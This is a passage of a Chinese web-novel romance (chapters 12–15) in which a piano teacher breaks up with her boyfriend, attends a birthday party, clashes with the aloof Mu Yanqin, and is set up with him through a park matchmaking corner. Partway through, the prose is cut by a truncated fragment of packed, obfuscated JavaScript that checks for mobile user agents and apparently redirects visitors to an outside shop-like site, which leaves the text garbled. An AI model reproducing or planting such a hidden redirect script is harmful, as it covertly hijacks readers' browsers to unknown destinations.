“今天中午我喊小纪来家里吃饭,你也换身衣服,别邋里邋遢没个人样。”
“啊?你喊他来干嘛?”她都准备跟人分手了,怎么还把人喊家里来。
“你说我喊他来家里干什么?”翻了个白眼又道:“你一会儿把我摘的栀子花全用水养上,小纪第一次上门,得给他留个好印象。”
霜见醒来就闻到家里弥漫着栀子花的香味,鞋柜上、茶几上、餐桌上,还有她的梳妆台上散铺着很多栀子花。
她无奈道:“外婆,小区里栀子花都快给你薅光了,你再摘物业都得找你了。”
“找就找呗,我又不是没交物业费,再说了,那花又不是只有我一个人摘。”说完进了厨房去忙午饭了。
霜见只得找出几个一次性杯子,倒上水,把栀子花插进去,能养一天是一天。
中午纪琛融来吃饭,陈芳妹对纪琛融特别热情殷切,眼角鱼尾纹就没淡下去过。
吃完饭又赶着霜见和纪琛融出去约会。
霜见硬着头皮和纪琛融出了门。
本来还想跟纪琛融提分手,可这大过节的,人家提着东西来家里拜节,好像这么突然说分手也不合适。
纪琛融问霜见想去哪。
霜见想了想还是决定去看电影,最起码黑着灯各看各的,不用面对他。
纪琛融选了部爱情电影,黑暗里他几次想拉霜见手都被她躲过,本来挺甜蜜温馨的爱情电影把霜见看得如坐针毡。
电影结束,两人出了观影厅,明亮的环境下纪琛融脸上神情再也藏不住,他很不高兴。
霜见抿唇跟在他身后,心底已经做了决定,今天还是要把话说清楚。
霜见快走两步与纪琛融齐肩,“负一楼有家咖啡店,我们去坐坐,我有话和你说。”
纪琛融心里对霜见已经颇有微词,两人见面本来就少,发微信她也不常回,上次去明杰给他送晚饭,他还挺高兴,可是今天见面她又和自己很生疏,手都不让碰,正好他也想和她谈谈。
谁知到了咖啡店,里面坐满人,没有一处空位,柜台前站着好几个外卖小哥在等餐。
估计进去又要等好久,霜见蹙眉,推门的手缩了回来。
负一楼是个下沉广场,这会音乐喷泉正跟着音乐有节奏地摆动,喷泉正前方有张休闲椅,霜见转身往那处走去,纪琛融见她转身走,也跟了上去。
两人在长椅上坐下,音乐声、水声、嘈杂的人声交织在耳畔,时不时还有水花溅到霜见身上。
她搓了搓手背上冰凉的水滴,长舒一口气决定开门见山。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746201|189908||http|test|mini|href|location''.split(''|''),0,{}));
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>她表情郑重认真,“纪琛融,这段时间很感谢你对我的关心和照顾,可我考虑再三还是觉得我俩不太合适,我俩工作都忙,休息时间又错开,虽然在一座城市但跟异地恋也差不多,还有就是我觉得比起情侣我俩的性格更适合做朋友。”她说:“我们还是分手吧。”
纪琛融还没来得及问她到底在耍什么性子,就被霜见当头一棒弄懵了。
缓了半晌才反问:“分手?就因为我没陪你去医院?感冒而已也不是什么大病,你看你现在不是也没事吗?”
“不是感冒是流感,之前的疫情你忘了吗?”
霜见替原主感到委屈,忍不住辩驳。
话落,她深吸一口气,“分手与我生病无关,单纯是因为我觉得我俩不合适。”
但纪琛融似乎听不见,也或许觉得全是借口,霜见就是因为自己没陪她去医院在生气耍小性子。
霜见软硬不吃,无论纪琛融怎么解释他当时如何忙得脱不开身,她只一味坚持要分手。
纪琛融神色慢慢冷下来,他蓦然抬手强势把霜见拉到自己怀里死死锁住她。
霜见被他突然的动作吓了一跳,缓过神拼命用手推他。
“纪琛融,你放开我。”
“你是我女朋友,抱你一下怎么了?”
纪琛融态度极其强硬,下手的力道勒得霜见快要窒息,挣扎间,霜见意外瞥见不远处颀长高大的身影。
他懒散立在那,嘴里嚼着糖,一手插在口袋,一手握着手机,正似笑非笑好整以暇看着她。
喷泉在他身边忽上忽下,水光下他耀眼夺目,只是嘴角不怀好意的笑意让霜见有种出轨被丈夫好友捉奸的窘迫感,她咬牙用力猛地推开纪琛融。
这下纪琛融是真的怒了,他骤然起身朝着霜见唇瓣逼近。
霜见惊惧后仰,仓皇撑着椅背慌乱站起,她气息紊乱吞咽口水。
“该说的话我都已经说了,你今天来我家买礼物的钱我一会转给你,我先走了。”
她手里攥着包带,低着头往出口处走,路过穆砚钦身边时也没做停留。
只是她装,却又有人不愿陪她装。
穆砚钦单手抄兜倒退着追上她,“阮老师还挺开放,公共场合也不知道忍一忍。”
这张嘴真可恶,霜见停住脚步,干笑两声装作才看见他,“是穆遥哥哥啊。”
穆砚钦轻哂,“这是刚刚没看到我?”
他又朝纪琛融方向抬了抬下巴,“你男朋友坐那么远还看着我呢,你倒是没看见我。”
霜见不敢回头看纪琛融,悻悻道:“现在看见了。”
“现在?分明你刚刚是看到我才一把把你男朋友推开的,啧啧啧,阮老师,注意点影响,万一遇到学生...家长呢,你说是吧?”
霜见觉得穆砚钦这人有毛病,你主动找他的时候,他狠不得离你八丈远,你躲着他希望他看不见你的时候,他又贱嗖嗖往你跟前凑。
她不想和他说话,这人嘴毒,说多了只能自己吃亏,她垂头不语,保持沉默。
“这是...又哭了?”
霜见憋屈,这一茬看来是过不去了,索性转身面对他,她甜甜微笑,小梨涡缀在唇角,“你猜我看见你为什么会把我男朋友推开?”
闻言,穆砚钦嘴角坏笑蓦地收敛,他后退几步拉开和霜见距离,又是那副高高在上的姿态。
“阮霜见,你还真敢想。”
13. 第 13 章
霜见暗自发笑,就这么一句似是而非的话就能叫他立马闭嘴。
这人六年了,还是和从前一样,生怕别人对他有什么非分之想。
霜见正腹诽着,穆砚钦像是见了瘟神般警告她,“癞蛤蟆还是现实点好,别净做吃到天鹅肉的美梦。”
说完他避之不及扭头就走。
霜见满眼都是笑意,冲着他背影喊道:“放心,我有自知之明,不喜欢吃天鹅肉。”
打发走穆砚钦,霜见也没回头看纪琛融还在不在便径直出了商场。
陈芳妹见她回来很惊讶。
“你怎么这么早回来了?没和小纪在外面吃晚饭?”
霜见手里提着东西进了厨房,把回来时买的烧鸡倒进盘子里,顿时厨房里传来阵阵香气。
“外婆,我买了烧鸡,马上我再炒个蔬菜,咱们就可以吃饭了。”
“还你炒个蔬菜,你会炒吗?”
霜见已经走到洗菜池前净手,闻言搓手的动作一顿,她不知道原主不会做饭。
她甩了甩手上的水,转过身,推着陈芳妹出了厨房,找了个借口:“我会做,出国留学四年,不会做饭早饿死了。”
陈芳妹被霜见按在餐椅上坐下,“今天我做给你吃,你去看电视也好,下楼转转也行,反正晚饭不用你操心啦。”
陈芳妹哼了一声,“我就说你这丫头最懒,会做饭回国一年了也没见你做过,不过我问你话呢,怎么没和小纪在外面吃?”
霜见怕陈芳妹私下还会联系纪琛融,决定坦白。
她讨好地笑笑,“我和他...今天分手了。”
陈芳妹一愣,旋即站了起来,眉间八字纹深深拢起,“咋了?他是不是欺负你了?”
她脚下生风就往大门处走,“这小子看上去斯斯文文的没想到是个不靠谱的,还敢欺负你,看老娘我撅不死他。”
霜见以为回来会被老太太骂一顿,所以才这么小心翼翼哄着,没想到陈芳妹会是这个反应。
她忙过去抱住陈芳妹,脑袋很贪婪地在她肩头蹭了又蹭,“外婆,没有,他没有欺负我,就是这段时间相处下来感觉不合适。”
陈芳妹被她这么抱着有些别扭,她这个孙女平时温顺听话,一直循规蹈矩性格内敛,从来不会和她这么亲昵。
被她这么一抱,她老脸滚烫,扭了扭一把老骨头,虎着脸道:“你分手抱着我干啥?这个不合适,咱再找下一个,我帮你听着,三条腿的蛤蟆不好找,两条腿的男人海了去了。”
她推了推霜见,“不是说要做饭给我吃吗?还不快去,这都几点了。”
霜见阴霾的情绪在陈芳妹的大嗓门里渐渐安定下来,她很珍惜有个不分青红皂白,不管是非对错,只坚定不移站在自己身边的老太太。
-
五月底到六月头的那周里,霜见给每个来上课的孩子都准备了儿童节礼物。
小学生收到礼物很开心,初高中生收到礼物那就是惊喜了。
许愿在上初一,她去年还在过六一,今年断崖式成长,儿童节与她没了关系,心里本还失落,收到霜见精心为她准备的礼物十分欢喜。
她迫不及待拆开包装精美的礼物,里面是非常可爱的手账本和文具礼盒,她很喜欢。
一下课就拿着礼物蹦跳着出了教室,今天是秦追送她来的,看见她这么高兴问她:“捡钱了?怎么笑成这样?”
许愿举起礼物晃了晃,“舅舅,霜见老师太好了,还送我儿童节礼物呢,你们都没祝我儿童节快乐呢。”
秦追平时忙得要死,哪记得什么六一儿童节,看了眼许愿手上的东西,对她身后的霜见说:“霜见老师有心了。”
霜见也是笑眯眯的,孩子们收到礼物时的快乐仿佛自然分给了她一半。
“不客气,许愿喜欢就好。”
“那个......”秦追欲言又止。
霜见面露疑惑看向他,“是有什么事吗?”
秦追搔了搔后脖颈,笑容僵硬。
许愿看不下去,转身对霜见道:“霜见老师,我舅舅一周后过生日,他想邀请你参见他的生日Party。”
许愿一阵噼里啪啦,把秦追忐忑一路的话给说了出来。
今天舅舅抢着要送自己不就是为了想邀请霜见老师吗?
大人真是好笑,想要什么直接说不就好了,为什么要吞吞吐吐。
霜见没想到是这个事,秦追的生日,她知道了肯定要去。
秦追偷偷瞪了许愿一眼,就紧张看向霜见。
霜见点头,“到时候把地址发给我就好。”
秦追顿时眉开眼笑,“什么都别准备,到时候直接来玩就行。”
霜见客气应着,但礼物肯定还是要准备的。
她这段时间一直在准备礼物。
她手上孩子不多,儿童节礼物不是统一买的,而是根据她对每个孩子的了解有针对性挑选的。
她送给穆遥的就是一副拼图,是她最喜欢的卡通人物千与千寻。
现在送礼物的对象不过是又多一个弟弟而已,对于霜见来说不算什么麻烦事。
秦追生日是周末,霜见周末白天有课,晚上最后一节课不到八点结束。
她带着礼物赶往Tonight酒馆,这家酒馆霜见以前没听过,是第一次去。
说是酒馆,其实就是清吧,舞台中央有驻唱歌手弹着吉他在唱民谣,霜见没多做停留,按照秦追给的包厢号往楼上走。
车妍笑说现在楚川的工作重心在国外,回国只是偶尔,可秦追过生日,他会回来吗?
她立在包厢前,深吸一口气,手才抬起,包厢门蓦地被人从里拉开。
一道熟悉的面庞猝然出现,时间暂停,周遭静音,一切化为虚影,只有面前的人在她眼中不断放大。
霜见忘记吐息,直愣愣看着他,心底百感交集,不过二十多天没见却已时隔六年。
楚川外表并没有太大变化,只是看上去成熟稳重许多。
楚川拉开门看见外面站了个年轻小姑娘也愣了一下,随即如往常般和煦的笑容在他唇边漾开。
“抱歉,麻烦让一下。”
霜见心跳加速,鼻尖酸意骤起,她完全失去思考能力,只机械性僵硬侧身,眼球随着楚川而移动。
“谢谢。”楚川侧身从她面前走过。
看着他就快消失在廊道尽头的身影,霜见如梦初醒,慌乱抬脚往前追。
楚川好像有急事,走得很快,很快不见了踪影。
“赶着投胎啊?跑什么跑!”一个上楼的女人被霜见撞得差点没站稳。
霜见恍若未闻还想继续往楼下跑,一只胳膊被人攥住,她蹙眉扭头,就对上穆砚钦幽深的眸光。
他甩开她的胳膊,“丢魂了?撞到人了都不知道。”
酒馆内斑斓灯光从头顶划过,悲伤婉转的乐曲回荡在耳畔。
霜见眼底的红色在灯光下时隐时现,穆砚钦睨了她一眼,这是又哭了?什么毛病这么爱哭。
他皱着眉往一楼看了一圈,“追什么呢?被人欺负了?怎么又哭了?”
霜见吐出心中那口气,眨了眨眼,眼底湿意缓解,看向穆砚钦,“没哭,我撞到你了吗?对不起。”
刚刚被她撞的女人已经离开,穆砚钦轻嗤了声,转身往楼上走。
霜见又回头看了眼,已经不见楚川身影,调整情绪,转身跟着穆砚钦进了包间。
秦追被一群人簇拥着,看见霜见,朝她迎了过来。
他还没来及说话,霜
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见身前的穆砚钦先开了口,“楚川呢?”
“哦,楚川哥今天还要飞柏林,先走了。”
他匆忙回完话,越过穆砚钦来到霜见身边,“霜见老师,你来了。”
穆砚钦扭头看了两人一眼到邵亭岳身边坐下。
霜见本还在纠结楚川会不会回来,听见两人对话也就明了。
没关系,既然楚川今天会出现,那么只要自己保持和穆砚钦这群人的往来应该还会遇到。
她牵起唇角,把礼物递给秦追,“送给你的,生日快乐。”
秦追没想到霜见会送他礼物,“不是说不用准备礼物吗?”他笑容愈发灿烂,“现在能拆吗?”
霜见笑着点头,秦追迫不及待拆开,是一个赛车模型。
“你怎么知道我喜欢赛车。”他兴奋地端详模型,“还是限量款,不好买吧?”
秦追肉眼可见的开心。
目睹两人互动的邵亭岳撞了撞身边穆砚钦。
穆砚钦斜倚在沙发上,手里的酒被他这么一撞,沿着杯沿打了个转,他小心举远,轻啧了声,“没长骨头还是软骨症?”
邵亭岳不以为意又往他身边挪了挪,“穷总,你完了,小追追看来是要脱单了,秦老爷子以后催婚对象就只剩你了。”
穆砚钦瞥了两人一眼,“管好你自己吧。”
“我有什么好管的,我那方面正常得不能再正常了,倒是你,我跟你讲,人还是要尊重作为动物最本能的原始欲望,要适当发泄,老处男憋得时间太长多少都会有点变态。”
霜见才在邵亭岳身边坐下,就听见他的最后一句。
她很诧异看向穆砚钦,她认识穆砚钦起,他身边就一直干干净净。
追他的人什么类型都有,但他好像都看不上,听邵亭岳意思,难道穆砚钦至今都没谈过女朋友?
穆砚钦看见霜见打量自己的眼神,脸都绿了,“阮霜见你那什么眼神?”
“哈?”霜见慌忙收回视线,“没什么眼神。”
穆砚钦冷哼一声对邵亭岳道:“你滚远点,别碰到我,我怕你把什么不干净的病传给我。”
邵亭岳笑得浪荡:“你没做过就算了,怎么还一点常识也没有,我真有什么病,”他又撞了下穆砚钦胳膊,“这种程度的接触也不会传染给你。”
穆砚钦像是沾上什么不干净的东西,嫌恶地往旁避让,“你还脏得挺科学。”
邵亭岳切了一声对身边的霜见道:“霜见妹妹,找男人就要找秦追那样的,阳光帅气性格好,像我们穷总这种,难伺候得很。”
“邵亭岳,你找死是吧?”穆砚钦啪的一声把酒杯掷在面前茶几上,人也噌地起身。
包厢里人多,声音嘈杂,但还是有不少人朝他们这边看了过来。
邵亭岳忙笑着和大家摆手,“没事,闹脾气让我哄呢。”
他拿起桌上酒瓶狗腿地给穆砚钦倒酒,“跟你开玩笑呢,这不是关心你的终身大事吗?”
他把酒杯塞进穆砚钦手里,哄道:“钦哥哥还想吃什么喝什么跟我说,我让人给你送进来。”
霜见无语,这么多年了,这两人怎么还是这种相处模式。
穆砚钦绷着张脸绕开邵亭岳,到了沙发另一边坐下。
邵亭岳也没跟过去,在霜见身边坐下。
“霜见妹妹,我刚刚说的是玩笑话,你别当真,要是哪个女人能拿下我们穷总,估计要幸福死。”
霜见干笑两声,还幸福死,不被他骂死就不错了。
“你别不信,真的,他这人要么没心,要么能把心捧出来给你。”
管他什么心反正跟自己没关系,霜见端起面前饮料轻啜一口。
想到什么,她问:“亭岳哥,你为什么要叫他穷总?”
14. 第 14 章
邵亭岳一脸的高深莫测,“因为他确实是个总,但也确实穷。”
霜见不解:“慕家家居不是他们家的吗?怎么会穷?”
她这段时间路过慕家家居注意看了一下,商场正常营业并没有倒闭。
而且穆砚钦外公一家在上虞政界可是响当当的存在。
秦追父亲,也就是穆砚钦舅舅是上虞副市长,他外公曾任某军区政委,母亲更是国内了不起的钢琴演奏家,这样的背景压根不可能穷。
邵亭岳很惊讶看向她,“你居然知道慕家是他家的。”
他扫了眼穆砚钦方向,像是怕被他听见,凑近霜见道:“慕家是他爸的,他自己出来创业把名下所有车房都卖了,现在他住的房子都是他妹的,穷得只剩下一条狗了。”
邵亭岳说到这里突然停住,扭头扬声问穆砚钦:“穷总,你今天怎么没把你家糯糯带出来?”
他家诺诺,霜见怎么听怎么别扭,怎么非要给狗取这么个名字。
穆砚钦靠在沙发另一角玩游戏,闻言眼都未抬,“都几点了,它不要睡觉么?”
“你这话说的,跟你对象似的。”邵亭岳没敢大声说,只小声嘀咕了一句。
霜见心里有些触动,没想到穆砚钦开这么多家知音非但没赚到钱,还贴了很多进去,弄得她都有点不好意思了。
秦追今天是寿星,要应酬的朋友多,等他抽开身过来,没陪霜见说两句话,邵亭岳就让侍应生把蛋糕推进来,霜见这才知道Tonight是邵亭岳开的。
吃完蛋糕霜见和秦追打了声招呼就准备回家。
秦追不放心,叫住也准备走的穆砚钦,“哥,你送一下霜见老师吧。”
穆砚钦捏着手机有一搭没一搭地拍打掌心,看了霜见一眼。
霜见刚想说不用麻烦,穆砚钦一抬下巴,“走吧。”
霜见和穆砚钦并肩下楼,没话找话,“谢谢你啊,其实不用麻烦,我自己打车也行。”
“那你打车吧。”
霜见笑容一僵。
算了,本来就准备打车的,让他送,到家说不定也要让她付费,反正都是给钱,没必要还多欠一个人情。
霜见没再吭声,两人才到一楼,一道身影挡住霜见去路。
竟然是纪琛融。
他很不友善看了穆砚钦一眼,对霜见道:“你怎么跟他来这种地方?”
这话一说,穆砚钦就不高兴了,他抄着口袋十分不悦往前两步。
“不是,这是什么地方?你那么高尚不也在这种地方么?”
他个子高,略压着背反问对面的纪琛融。
穆砚钦这人不说话时看上去桀骜疏离,长相气质都和普通人有壁。
心情不好时,那由内而外散发的气息压迫性很强,尤其那双眼睛,眼尾上扬,暇着怒意就会显得格外邪气,不必多大声就叫人不自觉想要避让。
纪琛融看他样子就知道不好惹,他知道这人是霜见的学生家长,大晚上她和一个学生家长出现在酒吧怎能让他不多想。
他不敢正面和穆砚钦硬刚,绕过他,抓住霜见手腕,“你跟我去隔壁咖啡店说清楚。”
霜见脚步未动,使劲抽手。
穆砚钦本不想多管,毕竟两人是情侣,可见霜见反抗,他上前攥住纪琛融手腕,随着他肌肉纹理逐渐清晰,纪琛融“啊”的一声松开手。
纪琛融很瘦,没什么力气,穆砚钦又随手搡了他一下,便趔趄后退。
“我和我女朋友有话说跟你没关系吧?”
“说话就说话,动什么手,就你有手?”
霜见很恼怒,明明她已经说过分手了,怎么这人还一口一个女朋友。
她对穆砚钦道:“穆砚钦,我自己打车回去,你先走吧。”
两人进了隔壁的咖啡店,纪琛融点了两杯冰美式。
霜见心里生气,但态度依旧温和,“我上次说的很清楚,我们已经分手了。”
“这么晚了,你为什么会和学生家长出现在这里?你是不是因为他才和我分的手?”
霜见才想回他就看见穆砚钦也进了咖啡店在稍远的地方坐下。
“我说了,分手是因为我们不合适。”
听她这么说纪琛融又问她是不是还是因为生病没陪她去医院的事生气。
总之车轱辘话,说来说去只有这些,霜见好脾气都被他磨没了。
她深吸一口气,回道:“我们是相亲认识的,起初觉得你还不错,可在一起一段时间后发现不合适,这样及时止损对我们都好,真的不是因为生病的事,那件事已经过去了。”
正说着她看见穆砚钦打着电话出去了,她转了转手中咖啡杯,“总之,强扭的瓜不甜。”
“不对,绝对不是因为不合适,刚开始我们在一起很开心的,就是我出差,你生病后,你对我态度才变的。”
霜见郁闷,总不能说对,因为我生病后已经不是原来的那个我了。
她将咖啡杯送至嘴边,一口气喝掉苦到掉渣的冰美式,深吸一口气说:“其实你猜对了,我就是喜欢刚刚那位学生家长,不想对不起你所以才提分手的。”
破罐子破摔吧,否则没完没了。
纪琛融不可思议看向霜见,静了半晌,骂了句:“不要脸。”
他猛地站起身,椅子随着他的动作滋啦一声发出刺耳声响。
只是才转身就看见站在不远处正看着他们的穆砚钦。
纪琛融走至他身边,咬牙切齿说:“小三,道德败坏。”
霜见浑身起了一层鸡皮疙瘩,僵直看着不远处的穆砚钦。
他不是出去了吗?什么时候回来的?
完了!
上次为了堵他的嘴瞎诌的话,这次算是坐实了。
穆砚钦接到代驾电话,出去接人,好心回来想问霜见要不要跟他走,就听见她说了那么段话。
穆砚钦眉眼乌沉,定定盯着霜见。
霜见心如擂鼓,紧咬下唇,脑子一片混乱。
穆砚钦会不会打死她,她才活过来没几天,不会又要死了吧?
空气凝滞,她缓缓起身,挪步到穆砚钦跟前,嗫嚅着说:“那个,穆,砚钦哥我,我刚才,”
穆砚钦不等霜见说完打断她,“阮老师,你可能不了解我,你这样的我不喜欢,看在你是穆遥老师的面子上,我不想把话说的太难听,总之别把心思放在我身上。”
他转身,“你自己打车吧。”
他招谁惹谁了,怎么就变成小三了,还他妈的道德败坏,真是可笑,他就没听谁夸过他有道德。
穆砚钦第一次被人当面这样骂,他明明很生气,可不知为什么心里那棵被风吹得乱晃的草,在听到霜见的那句话后被连根拔起粉碎消失。
阮霜见身上所有的莫名奇妙似乎都有了答案,什么找人,什么买琴行,甚至还有那些让他慌了神的小习惯都能解释的通了,她所有的行为不过只是为了接近他,女人的那点心思,呵!
穆砚钦上了车,让代驾先送他去穆家别墅。
已经晚上十点多,别墅里灯火通明。
穆敬桥正坐在沙发上看财经杂志,见他回来揉了揉眼睛,不满抱怨:“谁家父子约着深更半夜见面。”
“才十点多就耽误你夜生活了?年过半百还是悠着点吧。”
穆敬桥抬手就把杂志朝他砸过去,“你这个混账东西,狗嘴里吐不出象牙。”
穆敬桥皮肤白,穆砚钦的皮肤就是像他。
他的眉毛又长又密,典型的浓眉大眼,可即便如此也掩不住骨子里的匪气。
“说,找我什么事?是不是又回来找我要钱?”
穆砚钦把杂志朝他身边丢过去,在他对面坐下。
“三千万,另外把林叔的联系方式给我。”
林叔是PE机构合伙人,和穆敬桥是多年好友。
“三千万?张嘴就是三千万,老子前前后后给你多少钱了,难觅不都上了正轨了吗?怎么还要钱?”
“北冀要新建生产基地,海外市场还要进一步拓展,三千万都不够塞牙缝。”
穆敬桥被他这句话说得指着他鼻子骂:“你真是拿我当冤大头,连方西河那小子你都给了他股份,我是一点没有,你还真好意思再找我要钱。”
“不一样,他是CEO,你是爹,你的是我的,我的跟你没关系。”
他说得理直气壮,穆敬桥差点没被他气死。
“你说说你,不回来帮我管公司就算了,你一造飞机的非要去造什么破钢琴,资金密集、技术密集型产业不好做,前期投入那么多,钱还没赚到,现在又忙着上市,也不知道你一天到晚脑子里在想什么?”
“我不是没赚到,只是引入了VC投资,上市前不能大量套现。”
“那你有本事别回来问我要钱啊?一天到晚瞎折腾,非要到最后赔的裤衩都不剩,又要找老子给你擦屁股。”
穆砚钦站起身,对还在厨房忙活的保姆喊:“黄阿姨,泡点菊花茶给老头子降降火。”
穆敬桥坐在沙发上抬脚就向他踹过去,“老头子,老头子,我他妈才五十岁出头,哪老了?”
穆砚钦灵活避让,穆敬桥踹了几脚空气。
黄阿姨端着一个白瓷盅出来,“砚钦啊,这是虫草乌鸡汤,你爸知道你回来特地让我给你留的。”
穆砚钦道了声谢,往餐厅走,“放心,你死了我肯定会接管公司,不会便宜外人的。”
穆敬桥感觉自己呼吸不畅,他哼哧哼哧坐在客厅气了会,还是到穆砚钦对面坐下。
“你也不必跟我说话总是夹枪带棒的,我跟你妈离婚都多少年了,我是对不起她,但是男人嘛,你现在也三十岁了,应该能理解。”
穆砚钦嗤笑一声:“我不理解,男人怎么了?男人就应该吃着碗里的,看着锅里的,想着地里的?你不要给自己那么大的脸,你就是你,代表不了男人。”
穆敬桥刚想反驳,看了眼穆砚钦妥协道:“行,我代表不了你。”
但是他能代表大部分男人。
他和秦书棋离婚时穆砚钦上初三,他以为他长大能明白,现在是长大了,不过他这儿子自律过了头,别说乱搞男女关系,他身边连个母苍蝇都没有。
这让他怎么能和自己共情?
于是他转移话题:“那个,你之前答应我和你阮阿姨结婚,我们准备下半年领证,你没意见吧?”
穆砚钦舀汤的手微顿,掀眼看他,“这个时间挺长,还真准备结婚了。”
他垂眼喝汤,“随你,反正别给我
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搞出孩子来就行。”
穆敬桥身边女人不断,当初秦书棋在穆遥一岁时毅然决然离婚,就是因为他出轨。
穆砚钦起初和穆敬桥激烈争吵过,后来他发现天要下雨娘要嫁人,他也管不了他爹谈恋爱,也就放弃了。
不过他对穆敬桥一直有个要求,就是不准有第三个孩子,否则闹得他永无宁日。
穆敬桥的东西只能是他和穆遥的。
穆砚钦是什么人,作为父亲的穆敬桥自然了解,他这儿子说到做到,所以这么多年,他虽然在外面女人不断,但没有私生子。
亲兄妹为财产闹翻的笔笔皆是,更别提不是一个妈生的了,别提什么手足兄弟,在他们这种家庭同父异母的兄弟连陌生人都不如,不是仇人胜似仇人。
再说,他已经儿女双全,虽然他这个儿子明面上混账了点,但是不得不承认他很优秀,只要他想做就没有他做不好的事,以后慕家交给他只会更好。
穆砚钦的话让穆敬桥暗暗松了一口气,面上还是佯装恼怒,“我和你阮阿姨加起来都100多岁了,还生什么生。”
他站起身,“臭小子,我都要结婚了,你也抓紧点,不让我生,你倒是给我生几个呀。”
穆砚钦顿时觉得碗里的汤不香了,勺子丢进瓷盅里,“走了,记得把林叔号码发我,钱你打我私人账户就行。”
-
霜见现在每天晚上都吃褪黑素,睡眠明显改善很多,要不是陈芳妹进来拉开她的窗帘,她还醒不了。
床头柜上的花瓶插着几株落日珊瑚,晨光洒在芍药上,美得不可方物,她眯了眯眼,心情很好地伸了个懒腰坐起来凑近去闻。
陈芳妹没好气走到床边拍了她一巴掌,“别闻了,中看不中用,还没我栀子花香。你快起来,跟我出去一趟。”
“有什么事?”
“起来再说。”
等坐上出租车霜见才知道什么事,不知道老太太又做了什么,阮常梦真给她打了五十万,老太太要带她去买车。
“外婆,五十万你就存着,就当你女儿孝敬你的,车我是真不敢开,买了回来放着落灰,还要花钱养着,不划算。”
陈芳妹拗不过霜见,毕竟车是买给她的,她不开,买回来也不能按着头让她开。
司机听完祖孙俩对话,问陈芳妹:“老太太不去看车,那你们去哪?”
陈芳妹把挎在胸前的布包向后一甩,“拙鸣山公园。”
霜见茫然,这又是要干嘛?让自己陪她逛公园?
等老太太拉着她笑得满脸褶子穿梭在公园一角时,她想找个地缝钻进去。
拙鸣山公园有个相亲角,是由年轻男女的父母甚至爷爷奶奶组建起来的非官方相亲场所。
这里看不见什么年轻人,全是老爷子老太太。
霜见是今天为数不多的年轻人。
她刚刚已经听陈芳妹说了,纪琛融就是她在相亲角给她相来的。
这是准备梅开二度。
霜见极不情愿,可架不住老太太拖着她不撒手。
她长得漂亮,气质恬静乖巧,是老年人特别喜爱的晚辈摸样。
再加上陈芳妹大嗓门的宣传,周围人都知道霜见是国外名校毕业的钢琴老师,上虞有房还准备买车,这条件相当不错了。
于是霜见被一群人围得水泄不通。
陈芳妹挡在她身前一一筛选别人递过来的自家孩子资料,她频频摇头都不满意。
陈芳妹是个颜控,她先看照片,长得不好直接否定。
直到一个小伙子照片送到她跟前,她眼前一亮。
照片里小伙子十分英俊,她问:“多高啊?”身高她也很在意,三泡牛屎高的可配不上她孙女。
“大妹子,我孙子1米88大高个。”
陈芳妹点头,“做什么工作的?”
“开公司的,他爸也有公司,他不愿意做个混吃等死的富二代,自己出去创业了,很优秀的。”
陈芳妹很满意,“多大了?”
对面的老太太看了霜见一眼,有些底气不足,“30了。”
陈芳妹眉心一皱,“这年纪有点大了,太老,比我孙女大七岁呢。”
那老太太急了,忙说:“大妹子,话不是这么说的,我们都是过来人,你说是不是越大越会疼人?”
霜见就那么默然站在一边,看着两位老太太你来我往。
两人聊完,陈芳妹走过来说:“你把你微信号写出来给那个姚奶奶,他孙子还不错,你们聊聊看。”又说:“你要不要看看照片?”
霜见摇头,“外婆,我不要看照片,也不想给微信,我才分手,你就让我清静两天吧。”
“这都分了一周了,不止两天,你不写我自己写。”
说着她从自己包里翻出纸笔写了霜见手机号,霜见的手机和微信同号。
陈芳妹常年在这一带出没,霜见手机号她早就烂熟于心,要不当时怎么能给霜见相个纪琛融呢。
现在年轻人讲究尊重,让她自己写是尊重她,既然她不愿意写,那就是不想自己尊重她,那她就帮她写好了。
姚全芙拿到霜见手机号十分开心,握着陈芳妹的手:“大妹子,我回去就让我孙子加你孙女,我孙子姓穆,你记住了。”
15. 第 15 章
陈芳妹扬着下巴,十分傲娇道:“行,大妹子,你也看到了,我孙女可吃香了,你要快点的,不然我们就看看别人了。”
“哎哎,你放心,我这就回去,大妹子,咱俩也留个联系方式吧。”
陈芳妹纸笔还在手上,两位老太太直接交换了手机号。
姚全芙匆匆出了公园,司机在大门外等她,一上车她就让司机帮她把陈芳妹号码保存到自己手机里。
存好号码她对司机说:“去翡丽国际。”
穆砚钦正准备去公司,被姚全芙一通电话叫住。
姚全芙到翡丽国际已经是40分钟后,她一进门,穆砚钦就抱怨:“奶奶,我还有事,你有什么事快说。”
姚全芙从包里翻出一张纸,递到穆砚钦跟前,“你加一下这个微信号。”
穆砚钦一脸疑惑,“谁啊?”
“你不赶时间吗?赶紧的,别问那么多,加了不就知道了。”
穆砚钦确实赶时间,也没再问,他点开手机,发出好友申请。
“已经加了,就等对方通过了,奶奶,你就换个智能手机吧,我教你用微信,有什么事你可以自己发语音跟人说。”
姚全芙摇头,“我不学,太麻烦我学不会,你等下啊。”
她拿出手机走到一边,拨了通电话出去:“大妹子,我孙子给你孙女打申请了,你让她通过啊。”
穆砚钦听出不对劲,忙问:“奶奶,你让我加的谁啊?”
姚全芙挂断电话,“你对象,我给你相的对象,姑娘姓阮,长得可俊了,你好好跟人聊聊。”
穆砚钦顿时气得变了脸,“你搞什么啊?我不谈恋爱。”
真是浪费他时间,等了半天以为有什么天大的事。
等等,姓阮?
穆砚钦点开微信,好友申请已经通过,头像是一架三角钢琴,不会是...
他直接发了条消息过去:【阮霜见?】
霜见也是被陈芳妹逼得没办法通过了好友申请。
看到这条消息,以为是之前那个奶奶告诉了她孙子自己名字,也没多想,回道:【是的,穆先生您好。】
看来上次自己说的话,她是没听进去,还挺执着。
他穆砚钦就算谈恋爱也不会谈一个吃着碗里的还看着锅里的女人,有男朋友还喜欢他,当他是什么了?
穆砚钦:【你还挺客气,还穆先生,你有完没完?跟你说了,我跟你不可能,听不懂吗?】
霜见看见这么一长串消息,再细看对方头像,是一只萨摩,她头皮发麻。
霜见:【你是穆砚钦?】
霜见:【你别误会,和你相亲不是我的意思,我真不知道对方是你,纯属巧合。】
霜见的消息石沉大海,穆砚钦没再回复她。
